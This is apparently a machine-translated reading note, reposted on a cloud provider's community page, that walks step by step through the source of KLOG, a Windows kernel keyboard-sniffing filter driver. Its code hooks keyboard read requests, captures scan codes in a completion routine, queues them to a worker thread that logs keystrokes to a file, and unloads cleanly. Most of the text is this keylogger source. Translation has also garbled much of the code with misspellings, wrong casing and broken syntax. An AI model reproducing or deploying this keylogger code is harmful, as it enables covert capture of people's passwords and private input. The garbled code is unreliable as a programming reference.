Reading Notes _ keyboard sniffer (2)

Source: Internet
Author: User

The routine called to process the Read Request is dispatchread. The function is analyzed as follows:

Ntstaus dispatchread (in pdevice_object pdeviceobject, in pirppirp)

{

This function is called when a Read Request reaches the keyboard controller. At this time, IRP does not have available data. Instead, we want to view the IRP after capturing the key-down action-when the IRP is being transferred up the device chain.

The only notification method that IRP has been completed is the setup completion routine. If no completion routine is set, our existence will be ignored when IRP returns along the device chain.

When passing IRP to the underlying device in the chain, you need to set the IRP Stack pointer (Stack pointer ). the term stack is prone to misunderstanding here: Each device only has a private available memory in Each IRP. These private regions are arranged in the specified order. Call iogetcurrentirpstacklocation and iogetnextirpstacklocation to obtain pointers to these private regions. Before passing an IRP, a "current" pointer must point to the private region of the underlying driver. Therefore, call iocopycurrentirpstacklocationtonext before calling iocalldriver;

// Copy parameters down to next level in the stack

// For the driver below us

Iocopycurrentirpstacklocationtonext (pirp );

// Note that the completion routine is named "onreadcompleion ":

// Set the completion callback

Iosetcompletionroutine (pirp,

Onreadcompletion,

Pdeviceobject,

True,

True,

True );

Record the number of pending IRPs so that the driver can be uninstalled after processing is complete.

// Track the # of pending IRPs

Numpendingirps ++;

Finally, use iocalldriver to pass the IRP to the secondary underlying device in the chain. Remember to store the pointer pointing to a low-level device in the pkeyboarddevice of device_extension.

// Pass the IRP on down to \ The driver underneath us

Return iocalldriver (

(PDEVICE_EXTENSION) pDeviceObject-> DeviceExtension)

-> PKeyboardDevice, pIrp );

} // End DispatchRead

Now we can see that each READIRP can be used in the OnReadCompletion routine after processing. Further comparison and analysis:

NSTATUS OnReadCompletion (IN PDEVICE_OBJECT pDeviceObject,

Ingp pIrp, in pvoid Context)

{

// Get the device extension-we'll need to use it later

PDEVICE_EXTENSIONpKeyboardDeviceExtension = (PDEVICE_EXTENSION) pDeviceObject-> DeviceExtension;

Check the IRP status. It can be used as a return code or error code. The value of STATUS_SUCCESS indicates that the IRP has been successfully completed and the data should be record. The SystemBuffer Member points to the array of the KEYBOARD_INPUT_DATA structure. IoStatus. Information contains the length of the array:

If (pIrp-> IoStatus. Status = STATUS_SUCCESS)

{

Pkeyboard_input_data keys = (pkeyborad_input_data) pir-> associatedirp. systembuffer;

Int numkeys = pirp-> iostatus. Information/sizeof (keyboard_input_data );

The keyboard_input_data structure is defined as follows:

Typedef struct _ keyboard_input_data {

Ushort unitid;

Ushort makecode;

Ushort flags;

Ushort reserved;

Ulong extrainformation;

} Keyboard_input_data, * pkeyboard_input_data;

The sample program then cyclically traverses all the array members and obtains the key action from each member:

For (INT I = 0; I <numkeys; I ++)

{

Dbuplint ("scancode: % x \ n", keys [I]. makecode );

Note that you will receive two events: press the key and release the key. Key_make is an important identifier for a simple key-hit monitor that only needs to focus on one of the events.

If (Keys [I]. Flags = key_make)

Dbuplint ("% s \ n", "Key down") L

The preceding completion routine is executed at the IRQL level DISPATCH_LEVEL, which means that it does not allow file operations. To avoid this restriction, the example program uses a shared linked list to pass the key-hitting action to the worker thread. Access to the linked list must use key segments for synchronization. The kernel implements the following rules: Only one thread can execute a key segment at a time. The Call Delay Process (Deferred Procedure Call, DPC) cannot be used here, So DPC also runs at the DISPATCH_LEVEL level.

The driver allocates some NonPagedPool memory, places the scan code in it, and places it in the linked list. Because it runs at the DISPATCH level, the memory can only be allocated from the NonPagedPool.

KEY_DATA * kData = (KEY_DATA *) ExAllocatePool (NonPagedPool, sizeof (KEY_DATA ));

// Fill in kData structure with info from IRP

KData-> KeyData = (char) keys [I]. MakeCode;

KData-> KeyFlags = (char) keys [I]. Flgas;

// Add the scan code to the linked list

// Queue so our worker thread

// Can write it out to a file

Dbuplint ("Adding IRP to work queue ...");

ExInterlockedInsertTailList (& pKeyboardDeviceExtension-> QueueListHead, & kData-> ListEntry,

& PKeyboardDeviceExtension-> lockQueue );

// The semaphore is incremented to indicate that some data needs tobe processed

// Increment the semaphore by 1-no WaitForXXX after this call

KeReleaseSemaphore (& pKeyboradDeviceExtension-> semQueue,

0,

1,

FALSE );

}

}

If (pIrp-> PendingReturned)

IoMarkIrpPending (pIrp );

 

The example completes processing the IRP, And the IRP count is decreased.

NumPendingIrps --;

Return pIrp-> IoStatus. Status;

}

At this time, a key-hitting action has been saved in the linked list. It is used for the worker thread. The following describes the routine of the worker thread:

VOID ThreadKeyLogger (in pvoid pContext)

{

PDEVICE_EXTENSIONpKeyboardDeviceExtension = (PDEVICE_EXTENSION) pContext;

PDEVICE_OBJECTpKeyboardDeviceObject = pKeyboardDeviceExtension-> pKeyboardDevice;

PLIST_ENTRY pListEntry;

KEY_DATA * kData; // custom data structure used to hold scancodes inthe linked list

KLOG enters a processing cycle. The Code waits for the semaphore through KeWaitForSingleObject. If the semaphores increase, the processing cycle continues to run.

While (true)

{

// Wait for data to becomeavailable in the queue

KeWaitForSingleObject (

& PKeyboardDeviceExtension-> semQueue,

Executive,

KernelMode,

FALSE,

NULL );

The highest-end items are safely deleted from the linked list. Note the usage of key segments:

PListEntry = ExInterlockedRemoveHeadList (

& PKeyboardDeviceExtension-> QueueListHead,

& PKeyboardDeviceEntension-> lockQueue );

Kernel threads cannot be terminated from the outside. They can only terminate themselves. KLOG checks a flag to determine whether the worker thread should be terminated. This operation should only be released when the KLOG is detached.

If (pKeyboardDeviceExtension-> bThreadTerminate = true)

{

PsTerminateSystemThread (STATUS_SUCCESS );

}

You must use the CONTAINING_RECORD macro to obtain the pointer to data in the pListEntry structure:

KData = CONTANING_RECORD (pListEntry, KEY_DATA, ListEntry );

KLOG obtains the scan code and converts it to the keyboard code. This is done through the ConvertScanCodeToKeyCode tool function, which only recognizes the American English keyboard layout, although it is easy to replace with code suitable for other keyboard la S.

// Convert the scan code to a key code

Char keys [3] = {0 };

ConvertScanCodeToKeyCode (pKeyboardDeviceExtension, kData, keys );

// Make sure the key has returned a valid code

// Before writing it to the file

If (keys! = 0)

{

If the file handle is valid, use ZwWriteFile to write the keyboard disk code to the log:

// Write the data out to a file

If (pKeyboardDeviceExtension-> hLogFile! = NULL)

{

IO_STATUS_BLOCK io_status;

Ntstatus status = zwwritefile (

Pkeyboarddeviceextension-> hlogfile,

Null,

Null,

Null,

& Io_status,

& Keys,

Strlen (keys ),

NULL,

NULL );

If (status! = STATUS_SUCCESS)

Dbuplint ("Writing scancode to file... \ N ");

Else

Dbuplint ("Scan code '% s' successfully written to file. \ n", keys );

} // End if

} // End if

} // End while

Return;

} // End threadlogkeyboard

The above are the main operations of klog. The following analyzes the unload routine

Void unload (in pdriver_object pdriverobject)

{

// Get the pointer to thedevice Extension

Pdevice_extensionpkeyboarddeviceextension = (pdevice_extension) pdriverobject-> deviceobject-> deviceextension;

Dbuplint ("driver unload called... \ N ");

The driver must use the iodetachdevice function to remove the hook of the layered device:

// Detach from the device underneath that we're hooked.

Iodetachdevice (pkeyboarddeviceextension-> pkeyboarddevice );

Dbuplint ("keyboard hook detached from device... \ N ");

A timer is used below, and klog enters a short loop until all IRPs are processed:

// Create a timer

Ktimer;

Large_integer timeout;

Timeout. quadpart = 1000000;

Keinitializetimer (& ktimer );

When an IRP is waiting for a key-down action, it cannot be completed until the next key is pressed:

While (numpendingirps> 0)

{

// Set the timer

Kesettimer (& ktimer, timeout, null );

Kewaitforsingleobject (

& Ktimer,

Executive,

Kernelmode,

False,

Null );

}

Klog indicates that the worker thread should be terminated:

// Set our key logger worker thread to terminate

Pkeyboarddeviceextension-> bthreadterminate = true;

// Wake up the thread if its blocked & WaitForXXX after thiscall

KeReleaseSemaphore (

& PKeyboardDeviceExtension-> semQueue,

0,

1,

TRUE );

KLOG uses the thread pointer to call KeWaitForSingleObject and waits until the thread is terminated:

// Wait until the worker thread terminates

Dbuplint ("Waiting for key logger thread to terminate... \ N ");

KeWaitForSingleObject (pKeyboardDeviceExtension-> pThreadObj,

Executive,

KernelMode,

False, NULL );

Dbuplint ("Key logger thread terminated \ n ");

Finally, close the log file:

// Close the log file

ZwClose (pKeyboardDeviceExtension-> hLogFile );

Also perform some appropriate general cleanup actions:

// Delete the device

IoDeleteDevice (pDriverObject-> DeviceObject );

Dbuplint ("Tagged IRPs dead... Terminating... \ n ");

Return;

}

Keyboard sniffing ends.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.